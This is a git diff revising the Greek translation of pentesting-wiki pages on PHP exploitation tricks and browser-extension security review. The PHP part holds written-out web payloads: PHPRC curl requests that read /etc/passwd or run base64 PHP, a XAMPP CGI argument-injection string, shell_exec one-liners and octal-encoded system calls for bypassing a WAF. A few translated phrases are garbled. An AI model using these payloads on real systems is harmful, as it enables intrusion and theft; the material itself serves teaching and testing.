Με αυτόν τον τρόπο αν **και οι δύο διαδρομές έχουν πρόσβαση σε μια μεταβλητή με το ίδιο όνομα** μπορείτε να κάνετε την **τιμή αυτής της μεταβλητής στη διαδρομή1 να ισχύει για τη διαδρομή2**. Και τότε η διαδρομή2 θα θεωρεί έγκυρες τις μεταβλητές της διαδρομής1 (δίνοντας στο cookie το όνομα που αντιστοιχεί σε αυτό στη διαδρομή2).
- Όταν έχετε τα **ονόματα χρηστών** των χρηστών της μηχανής. Ελέγξτε τη διεύθυνση: **/\~\** για να δείτε αν οι php κατάλογοι είναι ενεργοποιημένοι.
-- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/)
+- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
Αυτές οι συναρτήσεις χρησιμοποιούνται συνήθως στο PHP για να **δημιουργούν κατακερματισμούς από κωδικούς πρόσβασης** και για να **ελέγχουν** αν ένας κωδικός πρόσβασης είναι σωστός σε σύγκριση με έναν κατακερματισμό.\
-Οι υποστηριζόμενοι αλγόριθμοι είναι: `PASSWORD_DEFAULT` και `PASSWORD_BCRYPT` (ξεκινά με `$2y$`). Σημειώστε ότι **PASSWORD_DEFAULT είναι συχνά το ίδιο με PASSWORD_BCRYPT.** Και αυτή τη στιγμή, **PASSWORD_BCRYPT** έχει **περιορισμό μεγέθους στην είσοδο των 72bytes**. Επομένως, όταν προσπαθείτε να κατακερματίσετε κάτι μεγαλύτερο από 72bytes με αυτόν τον αλγόριθμο, μόνο τα πρώτα 72B θα χρησιμοποιηθούν:
+Οι υποστηριζόμενοι αλγόριθμοι είναι: `PASSWORD_DEFAULT` και `PASSWORD_BCRYPT` (ξεκινά με `$2y$`). Σημειώστε ότι **PASSWORD_DEFAULT είναι συχνά το ίδιο με PASSWORD_BCRYPT.** Και αυτή τη στιγμή, **PASSWORD_BCRYPT** έχει έναν **περιορισμό μεγέθους στην είσοδο των 72bytes**. Επομένως, όταν προσπαθείτε να κατακερματίσετε κάτι μεγαλύτερο από 72bytes με αυτόν τον αλγόριθμο, θα χρησιμοποιηθούν μόνο τα πρώτα 72B:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@@ -182,7 +183,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### Συμπλήρωση ενός σώματος πριν από την ρύθμιση των κεφαλίδων
-Αν μια **σελίδα PHP εκτυπώνει σφάλματα και επιστρέφει κάποια είσοδο που παρέχεται από τον χρήστη**, ο χρήστης μπορεί να κάνει τον PHP server να εκτυπώσει κάποια **περιεχόμενα αρκετά μεγάλα** ώστε όταν προσπαθήσει να **προσθέσει τις κεφαλίδες** στην απάντηση, ο server να ρίξει ένα σφάλμα.\
+Εάν μια **σελίδα PHP εκτυπώνει σφάλματα και επιστρέφει κάποια είσοδο που παρέχεται από τον χρήστη**, ο χρήστης μπορεί να κάνει τον PHP server να εκτυπώσει κάποια **περιεχόμενα αρκετά μεγάλα** ώστε όταν προσπαθήσει να **προσθέσει τις κεφαλίδες** στην απάντηση, ο server να ρίξει ένα σφάλμα.\
Στο παρακάτω σενάριο, ο **επιτιθέμενος έκανε τον server να ρίξει κάποια μεγάλα σφάλματα**, και όπως μπορείτε να δείτε στην οθόνη, όταν η PHP προσπάθησε να **τροποποιήσει τις πληροφορίες κεφαλίδας, δεν μπόρεσε** (έτσι για παράδειγμα η κεφαλίδα CSP δεν στάλθηκε στον χρήστη):
.png>)
@@ -201,7 +202,7 @@ php-ssrf.md
NAN;**\`ls\`;**\
**shell_exec("ls");**
-[Ελέγξτε αυτό για περισσότερες χρήσιμες συναρτήσεις PHP](php-useful-functions-disable_functions-open_basedir-bypass/)
+[Ελέγξτε αυτό για περισσότερες χρήσιμες συναρτήσεις PHP](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
### **RCE μέσω** **preg_replace()**
```php
@@ -265,22 +266,22 @@ usort();}phpinfo;#, "cmp");
### **RCE μέσω .httaccess**
-Εάν μπορείτε να **ανεβάσετε** ένα **.htaccess**, τότε μπορείτε να **ρυθμίσετε** διάφορα πράγματα και ακόμη και να εκτελέσετε κώδικα (ρυθμίζοντας ότι τα αρχεία με επέκταση .htaccess μπορούν να **εκτελούνται**).
+Αν μπορείτε να **ανεβάσετε** ένα **.htaccess**, τότε μπορείτε να **ρυθμίσετε** διάφορα πράγματα και ακόμη και να εκτελέσετε κώδικα (ρυθμίζοντας ότι τα αρχεία με επέκταση .htaccess μπορούν να **εκτελούνται**).
Διαφορετικά shells .htaccess μπορούν να βρεθούν [εδώ](https://github.com/wireghoul/htshells)
### RCE μέσω Env Variables
-Εάν βρείτε μια ευπάθεια που σας επιτρέπει να **τροποποιήσετε τις env variables στο PHP** (και μια άλλη για να ανεβάσετε αρχεία, αν και με περισσότερη έρευνα ίσως αυτό μπορεί να παρακαμφθεί), θα μπορούσατε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να αποκτήσετε **RCE**.
+Αν βρείτε μια ευπάθεια που σας επιτρέπει να **τροποποιήσετε τις env variables σε PHP** (και μια άλλη για να ανεβάσετε αρχεία, αν και με περισσότερη έρευνα ίσως αυτό μπορεί να παρακαμφθεί), θα μπορούσατε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να αποκτήσετε **RCE**.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Αυτή η env variable σας επιτρέπει να φορτώνετε αυθαίρετες βιβλιοθήκες κατά την εκτέλεση άλλων δυαδικών αρχείων (αν και σε αυτή την περίπτωση μπορεί να μην λειτουργήσει).
-- **`PHPRC`** : Δίνει οδηγίες στο PHP για **πού να εντοπίσει το αρχείο ρύθμισης** του, συνήθως ονομάζεται `php.ini`. Εάν μπορείτε να ανεβάσετε το δικό σας αρχείο ρύθμισης, τότε, χρησιμοποιήστε το `PHPRC` για να δείξετε το PHP σε αυτό. Προσθέστε μια καταχώρηση **`auto_prepend_file`** που καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό **PHP κώδικα, ο οποίος εκτελείται** από το PHP runtime πριν από οποιονδήποτε άλλο κώδικα.
-1. Ανεβάστε ένα αρχείο PHP που περιέχει τον κώδικά μας
-2. Ανεβάστε ένα δεύτερο αρχείο, που περιέχει μια οδηγία **`auto_prepend_file`** που δίνει εντολή στον προεπεξεργαστή PHP να εκτελέσει το αρχείο που ανεβάσαμε στο βήμα 1
+- **`PHPRC`** : Δίνει οδηγίες στην PHP για **πού να εντοπίσει το αρχείο ρύθμισης**, συνήθως ονομάζεται `php.ini`. Αν μπορείτε να ανεβάσετε το δικό σας αρχείο ρύθμισης, τότε, χρησιμοποιήστε το `PHPRC` για να δείξετε στην PHP σε αυτό. Προσθέστε μια καταχώρηση **`auto_prepend_file`** που καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό **PHP κώδικα, ο οποίος εκτελείται** από το PHP runtime πριν από οποιονδήποτε άλλο κώδικα.
+1. Ανεβάστε ένα αρχείο PHP που περιέχει τον κώδικα shell μας
+2. Ανεβάστε ένα δεύτερο αρχείο, που περιέχει μια οδηγία **`auto_prepend_file`** που δίνει οδηγίες στον προεπεξεργαστή PHP να εκτελέσει το αρχείο που ανεβάσαμε στο βήμα 1
3. Ρυθμίστε τη μεταβλητή `PHPRC` στο αρχείο που ανεβάσαμε στο βήμα 2.
- Αποκτήστε περισσότερες πληροφορίες σχετικά με το πώς να εκτελέσετε αυτή την αλυσίδα [**από την αρχική αναφορά**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
- **PHPRC** - άλλη επιλογή
-- Εάν **δεν μπορείτε να ανεβάσετε αρχεία**, μπορείτε να χρησιμοποιήσετε στο FreeBSD το "αρχείο" `/dev/fd/0` που περιέχει το **`stdin`**, που είναι το **σώμα** του αιτήματος που αποστέλλεται στο `stdin`:
+- Αν **δεν μπορείτε να ανεβάσετε αρχεία**, μπορείτε να χρησιμοποιήσετε στο FreeBSD το "αρχείο" `/dev/fd/0` που περιέχει το **`stdin`**, που είναι το **σώμα** του αιτήματος που αποστέλλεται στο `stdin`:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- Ή για να αποκτήσετε RCE, ενεργοποιήστε το **`allow_url_include`** και προσθέστε ένα αρχείο με **base64 PHP κώδικα**:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
@@ -288,7 +289,7 @@ usort();}phpinfo;#, "cmp");
### XAMPP CGI RCE - CVE-2024-4577
-Ο διακομιστής ιστού αναλύει τα HTTP αιτήματα και τα περνά σε ένα PHP script εκτελώντας ένα αίτημα όπως το [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) ως `php.exe cgi.php foo=bar`, το οποίο επιτρέπει την έγχυση παραμέτρων. Αυτό θα επέτρεπε την έγχυση των παρακάτω παραμέτρων για να φορτώσει τον PHP κώδικα από το σώμα:
+Ο webserver αναλύει τα HTTP αιτήματα και τα περνά σε ένα PHP script εκτελώντας ένα αίτημα όπως [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) ως `php.exe cgi.php foo=bar`, το οποίο επιτρέπει την έγχυση παραμέτρων. Αυτό θα επέτρεπε την έγχυση των παρακάτω παραμέτρων για να φορτώσει τον PHP κώδικα από το σώμα:
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
@@ -348,7 +349,7 @@ echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
-## RCE abusing new $\_GET\["a"]\($\_GET\["b")
+## RCE εκμετάλλευση νέου $\_GET\["a"]\($\_GET\["b")
Αν σε μια σελίδα μπορείς να **δημιουργήσεις ένα νέο αντικείμενο μιας αυθαίρετης κλάσης**, μπορεί να μπορέσεις να αποκτήσεις RCE, δες την παρακάτω σελίδα για να μάθεις πώς:
@@ -356,11 +357,11 @@ echo "$x ${Da}"; //Da Drums
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
{{#endref}}
-## Execute PHP without letters
+## Εκτέλεση PHP χωρίς γράμματα
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
-### Using octal
+### Χρησιμοποιώντας οκταδικούς
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
index 8719c967c..119796466 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
@@ -27,7 +27,7 @@
### Boundaries
> [!CAUTION]
-> Για να αποκτήσει πλήρεις άδειες του χρήστη, ένας επιτιθέμενος πρέπει να πείσει την επέκταση να περάσει κακόβουλη είσοδο από το script περιεχομένου στον πυρήνα της επέκτασης και από τον πυρήνα της επέκτασης στη εγγενή δυαδική.
+> Για να αποκτήσει πλήρεις άδειες του χρήστη, ένας επιτιθέμενος πρέπει να πείσει την επέκταση να περάσει κακόβουλη είσοδο από το script περιεχομένου στον πυρήνα της επέκτασης και από τον πυρήνα της επέκτασης στην εγγενή δυαδική.
Κάθε συστατικό της επέκτασης είναι χωρισμένο από το άλλο με **ισχυρά προστατευτικά όρια**. Κάθε συστατικό εκτελείται σε μια **ξεχωριστή διαδικασία λειτουργικού συστήματος**. Τα scripts περιεχομένου και οι πυρήνες επεκτάσεων εκτελούνται σε **διαδικασίες sandbox** που δεν είναι διαθέσιμες στους περισσότερους υπηρεσίες λειτουργικού συστήματος.
@@ -35,7 +35,7 @@
## **`manifest.json`**
-Μια επέκταση Chrome είναι απλώς ένας φάκελος ZIP με μια [.crx file extension](https://www.lifewire.com/crx-file-2620391). Ο πυρήνας της επέκτασης είναι το **`manifest.json`** αρχείο στη ρίζα του φακέλου, το οποίο καθορίζει τη διάταξη, τις άδειες και άλλες επιλογές διαμόρφωσης.
+Μια επέκταση Chrome είναι απλώς ένας φάκελος ZIP με κατάληξη [.crx file extension](https://www.lifewire.com/crx-file-2620391). Ο πυρήνας της επέκτασης είναι το **`manifest.json`** αρχείο στη ρίζα του φακέλου, το οποίο καθορίζει τη διάταξη, τις άδειες και άλλες επιλογές διαμόρφωσης.
Example:
```json
@@ -208,13 +208,13 @@ js: ["contentScript.js"],
```
### `background`
-Τα μηνύματα που αποστέλλονται από τα περιεχόμενα σενάρια γίνονται δεκτά από τη **σελίδα φόντου**, η οποία διαδραματίζει κεντρικό ρόλο στην συντονιστική λειτουργία των στοιχείων της επέκτασης. Σημαντικά, η σελίδα φόντου παραμένει καθ' όλη τη διάρκεια ζωής της επέκτασης, λειτουργώντας διακριτικά χωρίς άμεση αλληλεπίδραση του χρήστη. Διαθέτει το δικό της Document Object Model (DOM), επιτρέποντας πολύπλοκες αλληλεπιδράσεις και διαχείριση καταστάσεων.
+Τα μηνύματα που αποστέλλονται από τα περιεχόμενα σενάρια γίνονται δεκτά από τη **σελίδα φόντου**, η οποία διαδραματίζει κεντρικό ρόλο στην συντονισμένη λειτουργία των στοιχείων της επέκτασης. Σημαντικά, η σελίδα φόντου παραμένει καθ' όλη τη διάρκεια ζωής της επέκτασης, λειτουργώντας διακριτικά χωρίς άμεση αλληλεπίδραση του χρήστη. Διαθέτει το δικό της Document Object Model (DOM), επιτρέποντας πολύπλοκες αλληλεπιδράσεις και διαχείριση καταστάσεων.
**Βασικά Σημεία**:
- **Ρόλος Σελίδας Φόντου:** Λειτουργεί ως το κέντρο ελέγχου για την επέκταση, εξασφαλίζοντας την επικοινωνία και τον συντονισμό μεταξύ των διαφόρων τμημάτων της επέκτασης.
- **Επιμονή:** Είναι μια πάντα παρούσα οντότητα, αόρατη στον χρήστη αλλά αναπόσπαστο μέρος της λειτουργικότητας της επέκτασης.
-- **Αυτόματη Δημιουργία:** Εάν δεν οριστεί ρητά, ο περιηγητής θα δημιουργήσει αυτόματα μια σελίδα φόντου. Αυτή η αυτόματα δημιουργημένη σελίδα θα περιλαμβάνει όλα τα σενάρια φόντου που καθορίζονται στο μανιφέστο της επέκτασης, εξασφαλίζοντας τη χωρίς προβλήματα λειτουργία των εργασιών φόντου της επέκτασης.
+- **Αυτόματη Δημιουργία:** Εάν δεν οριστεί ρητά, ο περιηγητής θα δημιουργήσει αυτόματα μια σελίδα φόντου. Αυτή η αυτόματα δημιουργημένη σελίδα θα περιλαμβάνει όλα τα σενάρια φόντου που καθορίζονται στο μανιφέστο της επέκτασης, εξασφαλίζοντας την απρόσκοπτη λειτουργία των εργασιών φόντου της επέκτασης.
> [!TIP]
> Η ευκολία που παρέχει ο περιηγητής στην αυτόματη δημιουργία μιας σελίδας φόντου (όταν δεν δηλώνεται ρητά) εξασφαλίζει ότι όλα τα απαραίτητα σενάρια φόντου είναι ενσωματωμένα και λειτουργικά, απλοποιώντας τη διαδικασία ρύθμισης της επέκτασης.
@@ -243,14 +243,14 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
-Σημειώστε ότι αυτές οι σελίδες δεν είναι μόνιμες όπως οι σελίδες background, καθώς φορτώνουν δυναμικά περιεχόμενο κατά ανάγκη. Παρά τούτο, μοιράζονται ορισμένες δυνατότητες με τη σελίδα background:
+Σημειώστε ότι αυτές οι σελίδες δεν είναι μόνιμες όπως οι σελίδες background, καθώς φορτώνουν δυναμικά περιεχόμενο κατά την ανάγκη. Παρά τούτο, μοιράζονται ορισμένες δυνατότητες με τη σελίδα background:
- **Επικοινωνία με Content Scripts:** Παρόμοια με τη σελίδα background, αυτές οι σελίδες μπορούν να λαμβάνουν μηνύματα από content scripts, διευκολύνοντας την αλληλεπίδραση εντός της επέκτασης.
-- **Πρόσβαση σε APIs συγκεκριμένα για την επέκταση:** Αυτές οι σελίδες απολαμβάνουν πλήρη πρόσβαση σε APIs συγκεκριμένα για την επέκταση, υπό την προϋπόθεση των δικαιωμάτων που ορίζονται για την επέκταση.
+- **Πρόσβαση σε APIs συγκεκριμένα για την επέκταση:** Αυτές οι σελίδες απολαμβάνουν πλήρη πρόσβαση σε APIs συγκεκριμένα για την επέκταση, υπό την προϋπόθεση των αδειών που ορίζονται για την επέκταση.
### `permissions` & `host_permissions`
-**`permissions`** και **`host_permissions`** είναι καταχωρήσεις από το `manifest.json` που θα υποδεικνύουν **ποια δικαιώματα** έχει η επέκταση του προγράμματος περιήγησης (αποθήκευση, τοποθεσία...) και σε **ποιες ιστοσελίδες**.
+**`permissions`** και **`host_permissions`** είναι καταχωρήσεις από το `manifest.json` που θα υποδεικνύουν **ποιες άδειες** έχει η επέκταση του προγράμματος περιήγησης (αποθήκευση, τοποθεσία...) και σε **ποιες ιστοσελίδες**.
Καθώς οι επεκτάσεις προγράμματος περιήγησης μπορεί να είναι τόσο **προνομιούχες**, μια κακόβουλη ή μια που έχει παραβιαστεί θα μπορούσε να επιτρέψει στον επιτιθέμενο **διαφορετικούς τρόπους να κλέψει ευαίσθητες πληροφορίες και να κατασκοπεύσει τον χρήστη**.
@@ -276,7 +276,7 @@ script-src 'self'; object-src 'self';
### `web_accessible_resources`
-Για να έχει μια ιστοσελίδα πρόσβαση σε μια σελίδα μιας Επέκτασης Περιηγητή, μια σελίδα `.html` για παράδειγμα, αυτή η σελίδα πρέπει να αναφέρεται στο πεδίο **`web_accessible_resources`** του `manifest.json`.\
+Για να έχει μια ιστοσελίδα πρόσβαση σε μια σελίδα μιας Επέκτασης Περιηγητή, όπως μια σελίδα `.html`, αυτή η σελίδα πρέπει να αναφέρεται στο πεδίο **`web_accessible_resources`** του `manifest.json`.\
Για παράδειγμα:
```javascript
{
@@ -319,7 +319,7 @@ browext-clickjacking.md
> [!CAUTION]
> Σημειώστε ότι οι σελίδες από **`web_accessible_resources`** και άλλες σελίδες της επέκτασης είναι επίσης ικανές να **επικοινωνούν με σενάρια φόντου**. Έτσι, αν μία από αυτές τις σελίδες είναι ευάλωτη σε **XSS**, θα μπορούσε να ανοίξει μια μεγαλύτερη ευπάθεια.
>
-> Επιπλέον, σημειώστε ότι μπορείτε να ανοίξετε μόνο σελίδες που αναφέρονται σε **`web_accessible_resources`** μέσα σε iframes, αλλά από μια νέα καρτέλα είναι δυνατή η πρόσβαση σε οποιαδήποτε σελίδα στην επέκταση γνωρίζοντας το extension ID. Επομένως, αν βρεθεί ένα XSS που εκμεταλλεύεται τις ίδιες παραμέτρους, θα μπορούσε να εκμεταλλευτεί ακόμη και αν η σελίδα δεν είναι ρυθμισμένη σε **`web_accessible_resources`**.
+> Επιπλέον, σημειώστε ότι μπορείτε να ανοίξετε μόνο σελίδες που αναφέρονται σε **`web_accessible_resources`** μέσα σε iframes, αλλά από μια νέα καρτέλα είναι δυνατή η πρόσβαση σε οποιαδήποτε σελίδα στην επέκταση γνωρίζοντας το extension ID. Επομένως, αν βρεθεί XSS που εκμεταλλεύεται τις ίδιες παραμέτρους, θα μπορούσε να εκμεταλλευτεί ακόμη και αν η σελίδα δεν είναι ρυθμισμένη σε **`web_accessible_resources`**.
### `externally_connectable`
@@ -354,7 +354,7 @@ browext-clickjacking.md
Συνήθως η λειτουργία **`chrome.runtime.sendMessage`** χρησιμοποιείται για να στείλει ένα μήνυμα μέσα στην επέκταση (συνήθως διαχειρίζεται από το `background` script) και για να το λάβει και να το διαχειριστεί δηλώνεται ένας ακροατής καλώντας **`chrome.runtime.onMessage.addListener`**.
-Είναι επίσης δυνατό να χρησιμοποιηθεί **`chrome.runtime.connect()`** για να υπάρχει μια μόνιμη σύνδεση αντί να στέλνονται μεμονωμένα μηνύματα, είναι δυνατό να χρησιμοποιηθεί για να **στείλει** και **λάβει** **μηνύματα** όπως στο παρακάτω παράδειγμα:
+Είναι επίσης δυνατό να χρησιμοποιηθεί το **`chrome.runtime.connect()`** για να έχει μια μόνιμη σύνδεση αντί να στέλνει μεμονωμένα μηνύματα, είναι δυνατό να το χρησιμοποιήσει για να **στείλει** και **λάβει** **μηνύματα** όπως στο παρακάτω παράδειγμα:
@@ -401,7 +401,7 @@ chrome.runtime.sendMessage(extensionId, ...
### Native Messaging
-Είναι δυνατόν για τα background scripts να επικοινωνούν με binaries μέσα στο σύστημα, τα οποία μπορεί να είναι **ευάλωτα σε κρίσιμες ευπάθειες όπως οι RCEs** αν αυτή η επικοινωνία δεν είναι σωστά ασφαλισμένη. [More on this later](#native-messaging).
+Είναι δυνατόν για τα background scripts να επικοινωνούν με binaries μέσα στο σύστημα, τα οποία μπορεί να είναι **ευάλωτα σε κρίσιμες ευπάθειες όπως RCEs** αν αυτή η επικοινωνία δεν είναι σωστά ασφαλισμένη. [More on this later](#native-messaging).
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@@ -466,7 +466,7 @@ false
### Iframe
-Ένας άλλος πιθανός τρόπος επικοινωνίας μπορεί να είναι μέσω **Iframe URLs**, μπορείτε να βρείτε ένα παράδειγμα στο:
+Ένας άλλος πιθανός τρόπος επικοινωνίας μπορεί να είναι μέσω **Iframe URLs**, μπορείτε να βρείτε ένα παράδειγμα σε:
{{#ref}}
browext-xss-example.md
@@ -476,7 +476,7 @@ browext-xss-example.md
Αυτό δεν είναι "ακριβώς" ένας τρόπος επικοινωνίας, αλλά το **web και το content script θα έχουν πρόσβαση στο web DOM**. Έτσι, αν το **content script** διαβάζει κάποιες πληροφορίες από αυτό, **εμπιστευόμενο το web DOM**, το web θα μπορούσε να **τροποποιήσει αυτά τα δεδομένα** (επειδή το web δεν θα πρέπει να εμπιστεύεται, ή επειδή το web είναι ευάλωτο σε XSS) και να **συμβιβάσει το Content Script**.
-Μπορείτε επίσης να βρείτε ένα παράδειγμα ενός **DOM based XSS για να συμβιβάσετε μια επέκταση προγράμματος περιήγησης** στο:
+Μπορείτε επίσης να βρείτε ένα παράδειγμα ενός **DOM based XSS για να συμβιβάσετε μια επέκταση προγράμματος περιήγησης** σε:
{{#ref}}
browext-xss-example.md
@@ -496,7 +496,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
console.log(response)
})()
```
-Αποστολή αιτήματος από την **επέκταση** (συνήθως ένα **background script**). Παράδειγμα για το πώς να στείλετε μήνυμα στο περιεχόμενο του script στην επιλεγμένη καρτέλα:
+Αποστολή αιτήματος από την **extension** (συνήθως ένα **background script**). Παράδειγμα για το πώς να στείλετε μήνυμα στο content script στην επιλεγμένη καρτέλα:
```javascript
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
;(async () => {
@@ -560,30 +560,30 @@ console.log("Received " + response)
1. Η επέκταση του προγράμματος περιήγησης έχει ένα μοτίβο wildcard για το περιεχόμενο του script.
2. Το περιεχόμενο του script περνάει μηνύματα `postMessage` στο background script χρησιμοποιώντας `sendMessage`.
-3. Το background script περνάει το μήνυμα σε εγγενή εφαρμογή χρησιμοποιώντας `sendNativeMessage`.
-4. Η εγγενής εφαρμογή χειρίζεται το μήνυμα επικίνδυνα, οδηγώντας σε εκτέλεση κώδικα.
+3. Το background script περνάει το μήνυμα στην εγ native εφαρμογή χρησιμοποιώντας `sendNativeMessage`.
+4. Η εγ native εφαρμογή χειρίζεται το μήνυμα επικίνδυνα, οδηγώντας σε εκτέλεση κώδικα.
Και μέσα σε αυτό, εξηγείται ένα παράδειγμα **μετάβασης από οποιαδήποτε σελίδα σε RCE εκμεταλλευόμενο μια επέκταση προγράμματος περιήγησης**.
## Ευαίσθητες Πληροφορίες στη Μνήμη/Κώδικα/Πρόχειρο
-Εάν μια Επέκταση Προγράμματος Περιήγησης αποθηκεύει **ευαίσθητες πληροφορίες μέσα στη μνήμη της**, αυτές θα μπορούσαν να **εκφορτωθούν** (ιδιαίτερα σε μηχανές Windows) και να **αναζητηθούν** για αυτές τις πληροφορίες.
+Εάν μια Επέκταση Προγράμματος Περιήγησης αποθηκεύει **ευαίσθητες πληροφορίες μέσα στη μνήμη της**, αυτές θα μπορούσαν να **εκχυθούν** (ιδιαίτερα σε μηχανές Windows) και να **αναζητηθούν** για αυτές τις πληροφορίες.
Επομένως, η μνήμη της Επέκτασης Προγράμματος Περιήγησης **δεν θα πρέπει να θεωρείται ασφαλής** και **ευαίσθητες πληροφορίες** όπως διαπιστευτήρια ή μνημονικές φράσεις **δεν θα πρέπει να αποθηκεύονται**.
-Φυσικά, **μην βάζετε ευαίσθητες πληροφορίες στον κώδικα**, καθώς θα είναι **δημόσιες**.
+Φυσικά, μην **βάζετε ευαίσθητες πληροφορίες στον κώδικα**, καθώς θα είναι **δημόσιες**.
-Για να εκφορτώσετε τη μνήμη από τον περιηγητή, μπορείτε να **εκφορτώσετε τη μνήμη της διαδικασίας** ή να πάτε στις **ρυθμίσεις** της επέκτασης του προγράμματος περιήγησης κάνοντας κλικ στο **`Inspect pop-up`** -> Στην ενότητα **`Memory`** -> **`Take a snapshot`** και **`CTRL+F`** για να αναζητήσετε μέσα στο στιγμιότυπο ευαίσθητες πληροφορίες.
+Για να εκχυθεί η μνήμη από τον περιηγητή, μπορείτε να **εκχυθεί η μνήμη της διαδικασίας** ή να πάτε στις **ρυθμίσεις** της επέκτασης του προγράμματος περιήγησης κάνοντας κλικ στο **`Inspect pop-up`** -> Στην ενότητα **`Memory`** -> **`Take a snapshot`** και **`CTRL+F`** για να αναζητήσετε μέσα στο στιγμιότυπο ευαίσθητες πληροφορίες.
Επιπλέον, οι πολύ ευαίσθητες πληροφορίες όπως μνημονικά κλειδιά ή κωδικοί πρόσβασης **δεν θα πρέπει να επιτρέπεται να αντιγράφονται στο πρόχειρο** (ή τουλάχιστον να αφαιρούνται από το πρόχειρο σε λίγα δευτερόλεπτα) γιατί τότε οι διαδικασίες που παρακολουθούν το πρόχειρο θα μπορούν να τις αποκτήσουν.
## Φόρτωση μιας Επέκτασης στον Περιηγητή
-1. **Κατεβάστε** την Επέκταση Προγράμματος Περιήγησης & αποσυμπιέστε την
-2. Πηγαίνετε στο **`chrome://extensions/`** και **ενεργοποιήστε** τη `Developer Mode`
+1. **Κατεβάστε** την Επέκταση του Προγράμματος Περιήγησης & αποσυμπιέστε την
+2. Πηγαίνετε στο **`chrome://extensions/`** και **ενεργοποιήστε** τη λειτουργία `Developer Mode`
3. Κάντε κλικ στο κουμπί **`Load unpacked`**
-Στο **Firefox** πηγαίνετε στο **`about:debugging#/runtime/this-firefox`** και κάντε κλικ στο κουμπί **`Load Temporary Add-on`**.
+Στο **Firefox** πηγαίνετε στο **`about:debugging#/runtime/this-firefox`** και κάνετε κλικ στο κουμπί **`Load Temporary Add-on`**.
## Λήψη του πηγαίου κώδικα από το κατάστημα
@@ -621,9 +621,9 @@ unzip -d "$extension_id-source" "$extension_id.zip"
- Ενεργοποιήστε τη Λειτουργία Προγραμματιστή στη σελίδα `about:extensions` για να δείτε τα IDs κάθε επέκτασης.
- Μέσα σε κάθε φάκελο επέκτασης, το αρχείο `manifest.json` περιέχει ένα αναγνώσιμο πεδίο `name`, βοηθώντας σας να εντοπίσετε την επέκταση.
-### Χρησιμοποιήστε έναν Αρχειοθέτη ή Αποσυμπιεστή
+### Χρησιμοποιήστε ένα Αρχειοθετητή ή Αποσυμπιεστή
-Μεταβείτε στο Chrome Web Store και κατεβάστε την επέκταση. Το αρχείο θα έχει κατάληξη `.crx`. Αλλάξτε την κατάληξη του αρχείου από `.crx` σε `.zip`. Χρησιμοποιήστε οποιονδήποτε αρχειοθέτη (όπως WinRAR, 7-Zip, κ.λπ.) για να εξαγάγετε τα περιεχόμενα του αρχείου ZIP.
+Μεταβείτε στο Chrome Web Store και κατεβάστε την επέκταση. Το αρχείο θα έχει κατάληξη `.crx`. Αλλάξτε την κατάληξη του αρχείου από `.crx` σε `.zip`. Χρησιμοποιήστε οποιονδήποτε αρχειοθετητή (όπως WinRAR, 7-Zip, κ.λπ.) για να εξαγάγετε τα περιεχόμενα του αρχείου ZIP.
### Χρησιμοποιήστε τη Λειτουργία Προγραμματιστή στο Chrome
@@ -638,18 +638,18 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
```
## Λίστα Ελέγχου Ασφαλείας
-Αν και οι Επεκτάσεις Περιηγητή έχουν μια **περιορισμένη επιφάνεια επίθεσης**, μερικές από αυτές μπορεί να περιέχουν **ευπάθειες** ή **πιθανές βελτιώσεις ασφάλειας**. Οι παρακάτω είναι οι πιο κοινές:
+Ακόμα και αν οι Επεκτάσεις Περιηγητή έχουν μια **περιορισμένη επιφάνεια επίθεσης**, μερικές από αυτές μπορεί να περιέχουν **ευπάθειες** ή **πιθανές βελτιώσεις ασφάλειας**. Οι παρακάτω είναι οι πιο κοινές:
- [ ] **Περιορίστε** όσο το δυνατόν περισσότερο τις ζητούμενες **`permissions`**
- [ ] **Περιορίστε** όσο το δυνατόν περισσότερο τις **`host_permissions`**
- [ ] Χρησιμοποιήστε μια **ισχυρή** **`content_security_policy`**
-- [ ] **Περιορίστε** όσο το δυνατόν περισσότερο το **`externally_connectable`**, αν δεν είναι απαραίτητο και δυνατό, μην το αφήσετε προεπιλεγμένο, καθορίστε **`{}`**
+- [ ] **Περιορίστε** όσο το δυνατόν περισσότερο το **`externally_connectable`**, αν δεν είναι απαραίτητο και είναι δυνατόν, μην το αφήνετε προεπιλεγμένο, καθορίστε **`{}`**
